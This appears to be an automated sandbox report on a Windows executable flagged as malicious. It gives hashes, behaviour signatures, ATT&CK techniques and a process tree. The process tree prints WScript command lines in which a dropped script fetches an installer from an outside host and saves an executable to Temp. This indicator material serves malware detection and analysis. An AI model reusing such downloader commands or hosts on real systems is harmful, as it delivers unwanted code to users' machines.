af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2

Analysis

max time kernel
160s
max time network
169s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
04/12/2022, 13:56

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General

Target

af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe
Size

184KB
MD5

15036d06dd5d6e4514c9c04b9430539f
SHA1

99790d740a8b8648ca7ac312855693709f2293e8
SHA256

af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2
SHA512

ca3c3b2171d5bcf4a4a3cb92f0aa1f338e4da6d03602b1c2c5db2bb8c8a1acf5d6349bf2cf72e312c40d9325661fc2e33fd2b25577d41ffc470824a5c40212ec
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3sJ:/7BSH8zUB+nGESaaRvoB7FJNndnp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
13	1756	WScript.exe
14	1756	WScript.exe
26	4728	WScript.exe
35	4728	WScript.exe
41	4728	WScript.exe
51	4728	WScript.exe
56	3068	WScript.exe
62	3068	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4668 wrote to memory of 1756	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	79
PID 4668 wrote to memory of 1756	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	79
PID 4668 wrote to memory of 1756	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	79
PID 4668 wrote to memory of 4728	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	81
PID 4668 wrote to memory of 4728	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	81
PID 4668 wrote to memory of 4728	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	81
PID 4668 wrote to memory of 3068	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	86
PID 4668 wrote to memory of 3068	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	86
PID 4668 wrote to memory of 3068	4668	af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe	86

C:\Users\Admin\AppData\Local\Temp\af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe
"C:\Users\Admin\AppData\Local\Temp\af0d360b0fc259ec9cac70126ead5b82fd43731deb67d13c0f3df0f52a3f98a2.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA6A5.js" http://www.djapp.info/?domain=sOnktQPxRB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufA6A5.exe
  2⤵
  - Blocklisted process makes network request
  PID:1756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA6A5.js" http://www.djapp.info/?domain=sOnktQPxRB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufA6A5.exe
  2⤵
  - Blocklisted process makes network request
  PID:4728
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA6A5.js" http://www.djapp.info/?domain=sOnktQPxRB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufA6A5.exe
  2⤵
  - Blocklisted process makes network request
  PID:3068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufA6A5.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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